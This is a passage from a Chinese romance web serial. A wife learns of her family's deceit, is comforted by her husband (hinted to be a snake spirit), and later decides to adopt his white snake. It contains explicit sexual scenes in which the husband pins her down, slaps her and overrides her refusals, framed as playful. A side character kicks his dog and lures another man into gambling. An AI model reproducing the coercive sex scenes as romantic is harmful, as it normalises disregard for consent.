可是直到现在却突然告诉她,这一切都不是她的错。 兰稚青并没有任何沉冤得雪的快意,她曾经所坚信并且付出的东西倒塌了,她剩下的只有无尽的疲惫和茫然。 小的时候邻居的小孩看到她破旧的衣衫,他们会嬉笑说:“兰稚青爹妈不要她,她真可怜。” 上初中时老师看到她拼尽全力凑齐的学杂费,会和自己的同事叹息,“兰稚青家里条件不好,真是可怜。” 高中第一次住宿舍时,她坐了两个小时的长途汽车大包小包把东西扛进宿舍,室友的爸妈夸她独立说她干活利落,可是在她关门离开的时候她还是听到了他们的话。 他们说:“这么瘦一个小姑娘自己干这么多活,家长也不过来帮帮忙,看着也太可怜了。” 她的前半辈子好像都是可怜的。 到底什么时候她彻底听不到这种话了。 是在她考进A大之后吗,不管是邻居还是学校老师都说她是寒门出贵子,以后一定会前途无量。 更或者是 在她和沈寂在一起之后,她收获了别人艳羡的目光,再也不用每日奔波在兼职和打工之中,没有任何一个人还会再说她可怜。 可是兰稚青却还是听到了。 她听到自己的声音在心里对自己说。 “兰稚青,你真的很可怜。” 兰稚青闭了闭眼,她突然觉得自己很累,累到她浑身上下每一块骨头都抬不起来,她甚至已经累到无法思考,只记得自己机械性地放下了碗,而后像一只阴暗的老鼠一样躲到了她觉得安全的角落。 沈寂不知道兰稚青为什么看了一眼手机就突然变得格外异常,他见兰稚青离开,自己也紧跟着起身,下意识跟了上去,结果却发现兰稚青把自己锁在了影音室里。 沈寂轻轻敲了敲门,里面的兰稚青没有任何回应,他站在门外静静等了五分钟,而后才用应急密码打开了房间的门锁。 兰稚青像一朵蘑菇一样缩在房间的角落,外面突然照进来的光亮让她下意识瑟缩了一下。 沈寂没有开灯,也没有出声,他只是慢吞吞走到她的身边坐下,和她轻轻靠在了一起,两个人像是两朵长在一起的蘑菇,直到蘑菇一号兰稚青开口,才终于打破了这份寂静。 “……你会不会觉得我是个骗子。” 兰稚青扯着自己的袖口,那一小块布料已经被她揉的满是褶皱,可是她的语气却无比平静,“其实我从之前线上聊天的时候就骗了你,我不是家里的独生女,我爸妈对我也一点都不好,我还有一个哥哥一个弟弟。” “这很好啊,对没有见过面的网友的确应该注意保护自己的个人隐私。” “我不想带你回家是因为我怕我爸妈会缠上我和我要钱,我担心他们会为了钱要死要活逼着我不和你离婚。” “未雨绸缪,这也确实是个办法。” 兰稚青闻言又不吭声了。 沈寂犹豫了片刻,试探性地朝她伸出的手,兰稚青登时像乳燕投林一样扑进了他的怀里,趴在他的肩头突然开始大哭出声。 “他们骗了我十五年,所有人都在骗我……我才不是累赘,我从来就没有做错……” 沈寂能感受到她滚烫的眼泪逐渐变得冰凉,她就像是第一次找到一个可以宣泄的出口,试图把自己的所有的不满都发泄出来。 她在说自己在今年以前从未吃到过的鸡腿,说自己狭小又寒冷的小卧室,说自己被一小盅不放葱花和大料的鸡汤所绑住的十五年。 她和沈寂提起她第一次去咖啡店打工时被蒸汽棒烫伤,而她大哥正带着女朋友快乐自驾游,她在购物节时去快递站兼职打工,而她弟弟正在潇洒清空购物车里所有想要的东西。 她试图把所有的委屈都倾泻而出,可是却意识到自己的委屈实在积攒了太多,多到已经快要把她淹没。 兰稚青从未觉得自己是这么善谈的人,或者更加准确来说,她自从结束婴儿时期后,就再也没有过倾听者。 当她还不会说话只能靠啼哭表达自己的情绪时,大家会闻声查看她有什么需要,而当她学会说话后,大家就已经默认她走向了成年,再也没有人关心她到底需要什么。 “……沈寂,我好可怜。” 兰稚青的声音几乎微不可闻,她轻声道:“原来我一直都没有家人。” 就像是没有她加入的家族群一样,她除了一个姓氏之外一无所有。 “宝宝,不要这么说,我们是家人啊。” 沈寂闻言捧起了她的脸颊,他毫不掩饰地直视着她,试图让她看清自己眼中的坚定,“我们早就已经是彼此的家人了。” “我们……是家人吗?” 兰稚青有些茫然,沈寂的话让她有些不知所措,像是见到了自己从未见过的难题。 “我们当然是家人。” 沈寂轻轻吻了一下她的额头,耐心解释道:“不离不弃就是家人,而且……” 他顿了顿,轻声道:“我爱你。” 兰稚青用一种前所未有的奇异眼神望着他,柔软而又期待,她嘴唇颤抖想要说些什么,可是喉咙却像是被堵住了一样,唯有眼眶不自觉地落下泪来。 她扑进沈寂的怀里放声大哭,手指紧紧攥着他的衣领,像是生怕他会跑掉。 沈寂静静等待着她的情绪平复,直到兰稚青哭累了在他怀中睡去,他才终于松了口气。 幸好影音室铺了厚实的地毯,沈寂摸索着从旁边的沙发上拿下盖毯将兰稚青裹了起来,他没有离开,只是抱着兰稚青留在这个足以让她觉得安全的黑暗角落。 “我的手机……” 兰稚青轻声道:“把我的手机拿给我。” 沈寂闻言一怔,他轻声应了下来,起身离开房间重新把兰稚青的手机拿回来递给她。 兰稚青擦了擦自己脸上的眼泪,她点进了手机通讯录,准备将所有和她有血缘关系的人一并拉黑删除。 可是在最后的关头,她又犹豫了下来。 “我的钱还没有还给我。” 兰稚青扁了扁嘴,伤心道:“还有三万八没有还给我。” 那是她辛辛苦苦没日没夜干兼职攒下来的钱,里面还有一万八是贷款,后来她花了一年才把钱还清。 沈寂用热毛巾擦干净了兰稚青的脸颊和双手,虽然三万八掉在地上他也不会捡,但是这三万八不是普通的三万八,他轻声安抚道:“没关系宝宝,到时候我们可以上门去要。” “如果这笔钱要回来了……” 兰稚青吸了吸鼻子,她小声道:“如果要回来了,我就拿来给你买礼物。” 这笔钱是她一点一点攒出来的,她要花在真正在乎她和爱她的人身上。 沈寂:“……” 如果是这样的话,那他就要考虑要不要今晚就去村里把兰家给砸了。 “乖乖,眼睛都哭肿了,我去拿冰块给你敷一下吧。” 沈寂起身去拿冰块,回来的时候却发现兰稚青又睡着了,他把她小心翼翼抱到了沙发上盖好毯子,自己坐在旁边用毛巾包着冰块帮她敷眼睛。 或许是因为一直积蓄在心里的石头落了地,兰稚青睡了一个前所未有的安稳觉。 等到她醒来的时候,沈寂早已不见了踪影,她自己盯着一片黑暗沉默了许久,默默起身走出了房门。 外面不知什么时候又飘起了细密的雪花,兰稚青趴在客厅最大的一片落地窗前看了一会儿,而后才踩着沈寂买的兔兔拖鞋四处寻找沈寂的身影。 她一间一间打开这里的房间,不像是在找人,反倒是在玩什么探险游戏,直到最后才在书房找到了沈寂。 沈寂正端着咖啡对着电脑处理工作,他见兰稚青怯生生地打开了房门,像只刚刚破壳的小鸟一样探头探脑地看着他。 他下意识想要摸出手机拍照留念,但是一想到兰稚青禁止他的偷拍行为,他只能有些遗憾地暂时作罢,转而温柔问道:“宝宝,怎么了,你是不是饿了?” “……你在做什么?” 兰稚青有点想过去贴贴,但是又担心自己打断沈寂文学创作的激情,所以在进门之前,她还是非常谨慎地开口询问。 “在回复几封邮件。” 沈寂不知道兰稚青为什么一定要站在门外和他说话,他犹豫了片刻,试探问道:“你不进来吗?” 兰稚青还有些踌躇,她组织了一下自己的语言,干巴巴问道:“我可以进去吗……我的意思是……嗯,你的电脑里有没有什么我不方便看,需要我回避的……” 沈寂闻言一怔,有些无奈开口道:“你当然可以进来,只是一些工作上的邮件而已。” 兰稚青闻言眨了眨眼,脸上立马带上了笑容,欢天喜地扑到沈寂的怀里,坐在他腿上盯着他回复邮件。 沈寂:“……” 虽然很爽,但是莫名感觉有点不太对劲。 不过送上门的福利不要白不要。 沈寂随手合上了电脑,抱着兰稚青就亲了上去,兰稚青无比配合乖乖任他索吻,这次甚至不用沈寂教就自己尝试舔着他的唇瓣,沈寂见状干脆起身把她压 到了办公桌上。 他的手刚刚要从兰稚青的裙摆下探进去,就听到被他压在身下的兰稚青轻声细语道:“沈寂,你真好,你就像糖果屋里的哥哥韩赛尔,如果我是你妹妹就好了。” 紧急刹住车的沈寂:“……” “宝贝,你是不是饿了,晚饭想吃什么?” 沈寂克制地亲了一口兰稚青的脸颊,努力不让自己在兰稚青那里刚刚树立的光辉形象破灭,他温声道:“要不要吃你喜欢的糖醋小排?” “都可以。” 兰稚青眷恋地蹭了蹭沈寂,她见沈寂要去厨房,自己也连忙跟上了他的脚步,几乎是片刻不离地黏在沈寂的身边,像只不知疲倦的小蜜蜂一样在他的身后打转,一会儿说要帮他洗菜,一会儿又说要帮他煮饭。 沈寂没打算让她动手,所以干脆削了个苹果塞到她的手里,让她自己拿着慢慢啃先垫垫肚子。 兰稚青拿着苹果站在旁边一脸认真地盯着沈寂,沈寂切菜切到一半转头猝不及防和她对视,还未来得及开口,兰稚青就把啃了一半的苹果拿过来和他分享。 沈寂吃了兰稚青的苹果还不满足,他见兰稚青目不转睛地盯着他,心里觉得可爱,所以下意识凑过去想要吻她,兰稚青却突然开口道:“沈寂,你一定会是个好爸爸的。” 沈寂闻言一怔,他顿了顿,迟疑问道:“可是宝宝……你不是说你是丁克不喜欢小孩子吗。” “对啊。” 兰稚青啃了一口手里的苹果,羡慕道:“所以我在想……如果我是你的女儿就好了。” 沈寂:“……” 虽然是在夸他,但总感觉好像哪里不太对劲。 兰稚青平时内敛含蓄,总是怯生生的像只小兔子一样,唯独今天像是打通了任督二脉一样黏人黏得不得了。 沈寂做饭,她要在旁边旁观,沈寂收拾碗筷,她要跟在后面打转,沈寂拿花瓶插花,她要站在旁边递剪刀,就连沈寂喝水她都要跟在后面也喝一口。 直到沈寂要去洗澡…… 沈寂有些迟疑地看着眼巴巴站在浴室外的兰稚青,试探问道:“乖乖,你要和我一起洗吗?” 兰稚青还有些害羞,闻言小声问道:“……可以吗?” “当然可以,家里的浴缸很大的。” 沈寂没想到天上还真的会掉馅饼,他无比大方地邀请兰稚青进来,关门的时候还故意把门反锁,免得煮熟的鸭子到嘴又飞了。 兰稚青拿着自己的会呲水的小黄鸭和会在水里打滚的小海豚高兴走了进去,完全没有意识到自己掉进了沈寂的陷阱。 沈寂靠在浴缸里翘首以待,他仔细欣赏着兰稚青脱下自己身上的睡裙,像一尾漂亮的小银鱼一样滑入水中。 浴室内的热气熏得她的脸颊和耳朵也是红扑扑的,她的眼睛亮晶晶的,主动凑到沈寂的面前,软着声音道:“我们这样好像一起在泡温泉哦。” “乖宝,今天怎么突然这么主动……” 沈寂见状顺势抱住了她,不知是水温有些太高,还是他自己的体温过低,他觉得自己就像是抱住了一团热乎乎软绵绵的云。 他怀里的小云朵仰脸看他,沈寂刚刚想要低头亲上去,便听到她真诚道:“沈寂,你是我最好的朋友,我以前最大的愿望就是可以和好朋友一起泡温泉吗,外面下着大雪,我们这样一起靠着聊聊天是不是很幸福。” 沈寂:“……” 他现在最大的愿望就是书房厨房浴室巡回play。 煮熟的鸭子就这么喊着“我们是最好的朋友”飞走了,沈寂忍气吞声帮兰稚青洗好了澡,甚至还陪着她玩了一会儿小黄鸭,他第一次知道这玩意竟然不仅能呲水,甚至还能发出五彩炫光嘎嘎叫。 沈寂先给兰稚青换好衣服吹干头发,兰稚青心满意足抱着自己的兔子玩偶上床睡觉。 等到沈寂掀开被子的时候,她迫不及待又凑过去滚进了他的怀里。 虽然两个人一直以来都用的同样的洗浴产品,可是沈寂总觉得兰稚青的身上好像更香一点,不知道是不是因为柔软的云朵兔兔更容易吸收香味的缘故。 沈寂抱着兰稚青躺在床上,这一次他早有先见之明地堵住了兰稚青的嘴。 兰稚青身上的睡裙的领口被扯开,沈寂齿尖微微用力,她立马哼唧了一声,但是这次却没有立马把他推开,只是眼巴巴地看着沈寂,希望他会对自己网开一面。 可是沈寂明显没有她想象中那么好心,他毫不客气地把软绵绵的兔子云弄成了下雨的乌云,兰稚青细细喘着气,眼见着马上就要到三分钟,沈寂却突然收回了自己的手。 “怎……怎么了?” 兰稚青眼里含着眼泪,可怜巴巴地等着沈寂接下来的动作。 沈寂轻笑了一声,他帮兰稚青系好了扣子,温声道:“乖乖,你要试着多忍忍,总这么快可不行。” “可是我难受……” 兰稚青被沈寂勾得不上不下,凑过去想要和沈寂讨吻,沈寂亲是亲了,但是他依旧没有任何的动作,只把兰稚青晾在一旁。 沈寂捏了捏兰稚青的脸颊,笑吟吟道:“乖乖,你要是想快一点舒服的话只能自食其力了。” 兰稚青只想坐享其成,根本不想自己动手,她趴在沈寂的怀里哼唧着撒娇,主动凑上去吻他,试图借此让沈寂心软。 可是沈寂今天像是真的铁了心似的,他对此完全无动于衷。 兰稚青有点委屈,她见沈寂收了她的亲亲还不办事,自己也有些气恼,干脆直接背过身去不搭理他。 刚刚还不上不下的感觉慢慢被压了下去,兰稚青闭上眼睛酝酿睡意,可是沈寂却又自背后摸进了她的睡裙。 兰稚青轻哼了一声,她心里还存着刚刚的怨气,下意识想要把沈寂推开,但是身上却又实在被他弄得舒服,她干脆顺水推舟又倒进了他的怀里。 “宝宝,舒服吗?” 兰稚青面色微红哼唧了两声,她下意识夹紧了沈寂的手臂,结果也就在下一秒,沈寂再度毫不犹豫收回了自己的手。 “怎么又……” 兰稚青难以置信睁开眼睛去看沈寂,眼见着他又要抽身离开,她下意识抱住了他。 沈寂本来想要让她学会自食其力,可是兰稚青却又拉着他的手顺着睡裙摸了进去,声音微不可闻,带着哭腔道:“我难受,你再揉一揉……” “……” 好会撒娇。 沈寂没忍住凑过去亲她,但是却被兰稚青躲开。 她眼神闪躲,小声道:“揉了之后才可以亲亲……” 沈寂轻叹了一口气,按照兰稚青的意思轻轻揉了揉,兰稚青被他弄得舒服,也乖乖张开嘴巴让他亲。 眼见着自己又要到了,她生怕沈寂又会故技重施,整个人都缠在了沈寂的身上,沈寂眼底闪过一丝得逞的笑意,他手指微微用力向外扯了扯,兰稚青顿时尖叫了一声。 她本来以为沈寂会点到为止,可是没想到沈寂竟然反而得寸进尺,她下意识想抬腿踹他,却不想反而被沈寂握住了小腿。 沈寂按住了兰稚青想要挣扎的身子,笑吟吟道:“宝宝,想不想知道自己极限在哪里?” 第39章 第39章我愿意做它的妈妈 你想不想知道自己的极限在哪里…… 兰稚青有些茫然地对上沈寂意味深长的眼神,她心里咯噔了一下,小心翼翼摇了摇头,试探问道:“不想知道,可以吗?” 沈寂弯了弯眉眼,毫不犹豫开口道:“不可以哦。” 兰稚青:“……” 那问她这种话还有什么意义吗? “今天等一等我好不好?” 沈寂抱着她换了个姿势,他轻轻咬了一口她柔软的脸颊,“不准自己偷偷舒服。” 兰稚青闻言下意识想要逃跑,但是却又被沈寂硬生生按了回去,她只能小声道:“我坚持不住……” “没关系乖乖,我会帮你的。” 沈寂捧着她的脸颊示意她和自己对视,兰稚青猝不及防对上了他那双漂亮的眼睛,她愣了一下,像是 陷进去一样无意识跟着点了点头。 沈寂满意地笑了笑,他低头吻上了兰稚青,谆谆善诱道:“接吻的时候不要总像小狗舔牛奶一样到处乱舔……” 兰稚青笨拙跟着沈寂的动作去学,还没有等到她彻底学会,沈寂就已经把她又按回在了床上。 她觉得自己至今为止还没学会也是有原因的,每次她学到紧要关头就会被沈寂突然打断。 沈寂的手指已经撩起了她的裙摆,可是兰稚青放在旁边的手机却在此时突兀地响了起来。 “手机……” 兰稚青轻轻推了推他,提醒道:“我的手机响了。” “不要管它……” 沈寂没打算理会,他低头轻轻啄吻着兰稚青的脸颊,试图让她的注意力转移到自己的身上。 可是兰稚青却一直惦记着自己的手机,她生怕这又是警局打过来询问案件的电话,所以勉强从沈寂的怀里挣脱出来,摸索着拿起自己的手机。 “喂,你好……” 电话那头传来了一阵杂音,许久才有一道熟悉的男声开口道:“学姐,是我。” “路锡鸣?你……” 兰稚青闷哼了一声,她有些羞恼地瞪了一眼旁边的沈寂,示意他不要在这个时候对她动手动脚。 “别理那个丑八怪了。” 沈寂从兰稚青的手里拿过手机,随手就挂断了电话扔到一旁,含着她的唇瓣含糊不清道:“跟他打电话晦气死了……” 丑八怪…… 路锡鸣难以置信看着又被挂断的电话,刚刚沈寂说的话一字不差地传入了他的耳中,简直就像是一把锋利的刀子,直接戳中了他最脆弱的一点。 他气得直接把手机摔到了地上,手机屏幕立马像蛛网一样变得四分五裂。 可是他犹嫌不足,又上前恶狠狠地补上了两脚,想象面前的手机就是沈寂那张得意的脸。 他一定要杀了沈寂!他要把他那张脸划得稀巴烂! 路锡鸣气得双目通红,他养在家里的一只博美犬见状小心翼翼地凑了过来,还未来得及靠近就被他一脚踹开,倒在地上发出痛苦的呜咽声。 他没理会狗的伤势,自己倒了杯酒坐回了桌前,刚要把电脑关上,兰智正却又给他发来消息。 【鸣哥,一起下副本啊。】 路锡鸣皱了皱眉,他满心的怒气正无处发泄,如今碰巧兰智正送上门来,他思索片刻,慢吞吞回复道:【没意思,我最近不玩这个了。】 【啊?鸣哥你最近玩什么新游戏了吗?】 兰智正那边消息回的很快,【鸣哥你现在玩的什么,分享一下,我和你一起啊。】 路锡鸣轻嗤了一声,回复道:【真金白银,敢玩吗?】 对面的兰智正闻言明显有点犹豫,试探问道:【……鸣哥,什么意思啊,还要输钱的吗?】 路锡鸣对此并不意外,他轻松朝兰智正扔下了诱饵,【先带着你试试,今天赢了算你的,输了算我的。】 兰稚青不知道路锡鸣竟然又和兰智正搅合到了一起,她的手机被沈寂扔到了一旁,她也紧跟着又不自觉被沈寂带着走。 “慢一点……” 她脚背绷直,下意识攥紧了沈寂的衣领,沈寂抓住她的手腕亲了一口,随口答应了一声,可是动作却丝毫不见半分迟缓。 兰稚青觉得自己就像是乌鸦喝水中的狭口瓶,乌鸦沈寂叼着石子一颗一颗往水里扔,瓶子中的水位也在渐渐上升,只要再多一点点,瓶中之水就要因为过满而溢出来。 可是为什么……到底是因为什么…… 兰稚青觉得自己被卡在临界点,不管她怎么努力都到达不了终点。 “乖宝,好好学学怎么自食其力。” 沈寂示意兰稚青低头去看,温声道:“你不能以后每次都要让老公给你揉呀。” 他抓着兰稚青的手指按在上面,催促道:“现在好好跟它打招呼吧,记得要有礼貌一点。” 兰稚青身形陡然一僵,她缩回自己的手,在沈寂的怀里再度挣扎起来,抗拒道:“我不要……” “宝宝,你是坏学生吗,怎么学习的时候也这么不专心。” 沈寂见兰稚青死活不愿意抬头,他轻轻叹了口气,突然抱着她起身下床,兰稚青尚在茫然,她身上穿的睡衣早在不知道被脱到哪去了,只能下意识往沈寂的怀里缩了缩。 “你要去哪……” 兰稚青想要阻止沈寂,可是沈寂却直接抱着她进了衣帽间,把她放到那面巨大的毛绒兔子全身镜前。 平整的镜子清晰无比地照出她现在的状态,兰稚青脸色涨红,她试图往沈寂的怀里躲,可是却又被沈寂硬生生掰了回去。 “我们乖乖很喜欢这面镜子对不对。” 沈寂轻轻咬了咬兰稚青的耳垂,轻声细语道:“一进家门你就一直围着它打转,正好今天可以拿来当辅助教具了。” 兰稚青想要挣扎,可是沈寂却一直不让她低头,如果她闭眼,他就又开始和她描述现在的情景,甚至还对她威逼利诱。 “你抖得这么厉害,我都有点看不清了,要不要找一个夹子做个标记呢……夹子上可是有轻微电流的……” “不要夹子不要夹子……” 兰稚青闻言立马开口拒绝,她试图合上膝盖,可是却被沈寂抬手扇了一下。 “又开始不专心了。” 沈寂神色似笑非笑,他抓着兰稚青的手指下行,残忍道:“宝贝,不上不下的很难受吧,如果你今天还是学不会的话,就只能一直这样了。” 兰稚青眼泪都快要出来了,可是沈寂却不吃她这一套,非要把她逼到绝境才算完,唯一提供的帮助就是场外辅导。 她讨厌沈寂这只坏乌鸦…… …… 在视觉和感官的双重压迫下,兰稚青气喘吁吁倒在了沈寂的怀里,闭着眼睛不愿意再看。 “好坏哦宝宝,兔子的毛毛都被你弄湿了。” 沈寂轻轻亲了亲她的脸颊,催促道:“好孩子要知错就改,快点和兔兔道歉,” “对……对不起兔兔。” 兰稚青死死低着自己的头,小声道:“我不是故意的……” 沈寂见状并不满意,他抬起了兰稚青的下巴,开口道:“这是好孩子道歉该有的态度吗,把头抬起来,告诉它你为什么会把它的毛毛弄湿。” 兰稚青呜咽了一声,被迫抬起头和镜子中的自己对视,声音细若蚊吟,带着哭腔道:“对不起……因为太舒服了,我……我没有忍住。” …… 今天晚上闹得似乎有点过了头,沈寂抱着兰稚青去洗完澡后,她就一直躲在被子里不肯露头。 平常他倒不会玩的这么过分,只不过今天兰稚青实在有点太听话,他没忍住就多欺负了几下。 “乖乖,还在生气吗?” 沈寂掀开被子从后面抱紧了她,放软了声音哄道:“对不起,我发誓这是最后一次,明天我就让人换一面新的镜子换上。” 兰稚青闻言倒是没有再说什么,她本来就因为过度的疲惫而昏昏欲睡,听到沈寂的话也懒得搭理,任由他把自己翻了个身面对面搂进了怀里。 她抱着怀里的妮妮,下意识蹭了蹭面前的沈寂,小声道:“……好困,讲个故事吧。” 沈寂闻言顺势答应了下来,可是刚要准备开口却陡然像是意识到了什么。 “宝贝,你听我说。” 沈寂联想到兰稚青今天的表现,努力想让自己的话听起来更 加的委婉,“我们之间可以有亲情友情和爱情,但是你不可以同时把我当做哥哥爸爸朋友和老公。” 兰稚青有些茫然地抬头看他,许久才小声道:“Daddy……” 沈寂:“……” “好吧,那我们今天讲《猪倌儿》的故事。” 沈寂亲了亲兰稚青的脸颊,慢吞吞开口道:“在很久很久以前,有一个穷鬼王子,他很想找一个妻子陪着他吃糠咽菜过苦日子,所以非常癞蛤蟆想吃天鹅肉地对一位公主说:【嫁给我好吗?】。”(1) “王子的土地上种着一株世上最漂亮的玫瑰,他还有一只能唱出世上最美歌曲的小鸟,他把他们当作礼物送给了公主。” “……为什么王子会是穷鬼。” 兰稚青有些疑惑,她勉强打起精神问道:“王子是国王的儿子,他肯定不会很穷吧。” “古代欧洲王国很多的,很多大概就像一个村子那么大,有穷有富也很正常,不然为什么国王的舞会动不动就可以邀请全国的姑娘来呢。” 沈寂轻轻摸了摸她的头发,改口道:“你不喜欢的话,那我就换一种讲法。” “在很久很久以前,有一个贫困村村书记的儿子,他很想找一个妻子陪着他吃糠咽菜过苦日子,所以非常癞蛤蟆想吃天鹅肉地对镇长的女儿说:【嫁给我好吗?】” “村书记儿子的地里种着世上最好吃的玉米,他还有一台珍贵的收音机可以听到美妙的歌曲,他把他们当作礼物送给了镇长女儿。” 兰稚青:“……你还是换回王子公主吧。” 童话故事一下子就变成乡村爱情了。 沈寂闻言从善如流又换了回去,慢条斯理道:“可是公主并不喜欢这个礼物,王子心有不甘,他说三十年河东三十年河西,我若一日同风起,扶摇直上九万里,今日之辱他日我必十倍奉还。” 兰稚青:“……” 好熟悉的话,好熟悉的情节。 兰稚青犹豫了一下,试探问道:“所以王子造反了?” “那倒没有,造反就属于严重OOC了。” 沈寂继续说道:“他卧薪尝胆发愤图强,决定去公主的王宫养猪致富,也就是当猪倌儿,决定趁此机会报复回来。” 兰稚青:“……” “王子有一双巧手,他喂完猪之后做了一个小锅,当锅煮沸时,可以闻到城里每一家人烧出来的饭菜气味,公主很喜欢这口小锅,命人向王子询问要多少钱才肯卖给她,王子说,我要公主的十个亲亲。” 兰稚青听得入神,问道:“……然后呢?” “公主很生气,她说自己可以付很多很多钱,可是王子还是坚持,自己就要公主的十个亲亲,公主实在没办法……” 沈寂顿了顿,压低声音道:“只能让人挖了王子的左眼珠,一时间血花四溅惨叫连连,挖左眼还不愿意给那就再挖了他的右眼,接下来就是砍左耳右耳削鼻子,把他放到冰天雪地里冻着,只要轻轻一敲,立马四分五裂……” “?!” 兰稚青闻言一怔,她默默又缩回了被子里,干巴巴道:“我不想听了……” 好恐怖的童话故事,她都觉得自己今晚会做噩梦。 沈寂见兰稚青又缩进被子里不肯抬头,他以为她是被吓到了,刚刚想要说自己是在开玩笑,兰稚青却又慢吞吞拉下自己的被子。 “那个……外面现在也下雪了。” 沈寂闻言一怔,连忙道:“乖宝,我刚刚是开玩笑的,别害怕,只是一个故事……” “……其实我已经知道了。” 兰稚青鼓起勇气终于开口,对上沈寂困惑的眼神,她结结巴巴道:“那条蛇……就是家里出现的那条白蛇,我都已经知道了。” 沈寂身形猛然一僵,他难以置信地看着兰稚青,干巴巴道:“你……你已经知道了,抱歉,我……” “其实我还是有一点点怕,它长得实在有点吓人……。” 兰稚青想到那条巨大的白蛇还是觉得有些毛骨悚然,她咬了咬唇,小声道:“我不知道你把它送到哪里去了,但是外面下雪了很冷,你还是把它接回来吧。” 沈寂愣了一下,他意识到兰稚青似乎是误会了什么,下意识想要开口解释,可是兰稚青却已经坚定无比地握住了他的手。 “既然我们是家人……我愿意和你一起养它。” 兰稚青抿了抿唇,补充道:“我会像你照顾妮妮一样做它的妈妈的。” 沈寂:“……” 家有儿女不要在他家里重播啊! 第40章 第40章超级大胖蛇 在我告诉我老婆我不能同时做她的哥哥爸爸朋友和老公之后她提出要给我当妈。 沈寂盯着面前的兰稚青,陡然陷入了漫长的沉默。 “宝贝,你为什么会觉得那条蛇是我养的?” 沈寂思索了片刻,还是决定从最根本的问题上下手,他试图改变兰稚青的想法,温声道:“或许那条蛇只是碰巧出现在了我们的身边,你也知道,这个世界上巧合总是很多。” “你又想骗我了。” 兰稚青闻言有些不满,她见沈寂不肯承认,干脆直接说出了自己的推理,想要让他心服口服。 “现在是冬天,这条白蛇从A市来到F市,而且还要精准找到我们的位置,如果没有外力的帮助明显不够现实,你的名字和头像之前也是蛇,每一次我提出要抓蛇的时候你也总是含糊其辞,从来没有给过我一句准话。” 兰稚青顿了顿,非常严谨地得出了结论,“所以我在想,要么你本人是白蛇成精,要么这条蛇就是你养的。” 沈寂:“……” “乖宝,指不定我真的就是那条蛇呢。” 沈寂抬手捏了一把兰稚青的脸颊,意有所指道:“你有考虑过这一点吗?” “当然不会是你啊。” 兰稚青一脸诧异地看着他,认真道:“那天晚上我都看到你和它一起出现了,总不会还能有分身术吧。” 真的弄了分身来掩饰的沈寂:“……” 果然唯物主义者的想象力匮乏而又精准。 “……你是不是觉得我当不好一个妈妈?” 窝在他怀里的兰稚青仰脸看他,眼里是肉眼可见的失落,她声音极小地开口道:“虽然我是丁克确实不太喜欢小孩子,但如果不是人类的话我是可以试着相处的。” “不,不是这个问题。” 沈寂神色有些为难,他张嘴想要说些什么把这件事情掩饰过去,可是下一秒却看到兰稚青眼眶里打转的眼泪。 “……好吧,明天我就去把它接回来。” 沈寂叹了口气,他亲了亲兰稚青的脸颊,轻声道:“我相信你一定会是个好妈妈。” “为什么不今晚去接?” 兰稚青眼巴巴看着他,犹豫道:“外面现在在下雪,很冷的。” “……太晚了,蛇睡了。” 沈寂帮兰稚青盖好了被子,柔声道:“还是等天亮吧。” 兰稚青见沈寂就是不愿意马上把蛇接回来,她闻言只能小声应了一声,窝在沈寂的怀里,很快便步入了梦乡。 沈寂却毫无困意,心里满怀对未来的惆怅和对家庭的担忧。 现在躺在他怀里睡得哼哼唧唧一脸香甜的是他法律上和精神上的老婆,生活上的女儿,特定时候的妹妹,网络上的朋友,和他未来的新任妈妈。 这也就意味着他既是自己的爸爸,又是自己的儿子。 ……这个家真的不会就这样被毁了吗? 沈寂越想越觉得可怕,连忙抱着兰稚青吸了一口缓解自己的焦虑。 直到时针再次指向五点,他才终于暂时放下脑子里纷乱的思绪,有些恋恋不舍地松开兰稚青,准备按照习惯起床操持家务洗衣做饭。 “……要去接蛇吗?” 外面天色尚未明亮,兰稚青感受到沈寂离开,她迷迷糊糊睁开眼睛,像一块橡皮糖一样黏了上去,趴在沈寂的怀里含糊不清道:“等我一下,我和你一起……” “现在时间还很早,再睡一会儿吧,不是去接蛇。” 沈寂把兰稚青塞回了被窝,柔声道:“我去做饭,你想吃什么?” “……随便。” 兰稚青困意还未完全消散,闻言再度闭眼沉睡过去。 沈寂倒是没想到兰稚青对接蛇的事情这么念念不忘,他轻轻叹了口气,帮她掖了掖被角才起身离开。 兰稚青倒是心满意足睡到了自然醒,不知是不是放下了心结的缘故,她这次总算是睡了一个难得的好觉,梦里也没有 再出现过那条白蛇。 不过一码归一码,她虽然是想让沈寂把蛇接回来,可是心里还是有点打怵这种看起来就很危险的生物。 她尝试给自己做心理建设,开始在社交平台上搜索其他人所养的蛇类宠物,虽然看视频确实还好,但是她想了想那条白蛇的体型,她觉得自己还是不要高兴得太早。 “宝宝,早餐已经做好了。” “知道了。” 兰稚青随口答应了一句,慢吞吞从床上爬了起来,可是脑子里却还盘旋着刚刚视频里的内容。 “老公,它是男孩还是女孩啊?” “……什么?” 沈寂闻言愣了一下,半晌才反应过来兰稚青是在问什么。 他尽量让自己的语气听不出任何破绽,冷静道:“是男孩子。” “哦,那也蛮好的,我们家也算儿女双全了。” 沈寂:“……” 什么叫儿女双全,你当我的女儿,我当你的儿子吗? 这到底是什么畸形家庭。 兰稚青一直若有所思,她咽下嘴里的鸡蛋饼,好奇开口问道:“它也喜欢吃老鼠吗?” “咳……咳咳。” 沈寂刚刚喝了一口咖啡,闻言差点被呛住,兰稚青连忙将纸巾递给他,试探道:“不吃老鼠吗?那它一般都吃什么……” “……他平时会有营养师配餐的,不吃这些东西,你要是想喂就喂点蔬菜水果就好了。” 沈寂顿了顿,强调道:“不要喂老鼠!他真的不吃老鼠!” 兰稚青闻言似懂非懂地点了点头,她想要去和沈寂一起接蛇,但是却被沈寂开口拒绝,理由是蛇怕生,需要一段时间适应一下。 可是它趴在她身上的时候一点都不怕生啊…… 兰稚青心里暗自嘀咕了一句,但她没有多问,只是眼巴巴看着沈寂出门,小声问道:“什么时候能回来啊。” “要晚一点,可能要下午才回来。” 沈寂俯身亲了亲她的脸颊,交代道:“中午要记得吃饭,有事给我打电话。” 兰稚青看着沈寂离开,她自己在家里转了一圈,仔细想了想还是换了衣服准备出门逛逛。 自从她回到F市之后她每天忙着在家里那堆烂事和杀人案之间打转,还从来没有出门好好逛过。 不过本来她物欲就很低,逛街购物对她来说可有可无,但是今天家里有新的家庭成员要过来,兰稚青思索良久,还是决定要给自己的新儿子准备一点小礼物。 她打车来了市内最大的异宠店,小心翼翼地跟在店员的身后,看着店内玻璃柜中各式各样的蜥蜴壁虎和小蛇。 “我想给家里的蛇买一点东西。” 兰稚青斟酌了一下自己的言辞,问道:“有没有什么推荐的。” “我们店里有玩具,零食还有蛇箱造景之类的,您看您需要什么呢?” 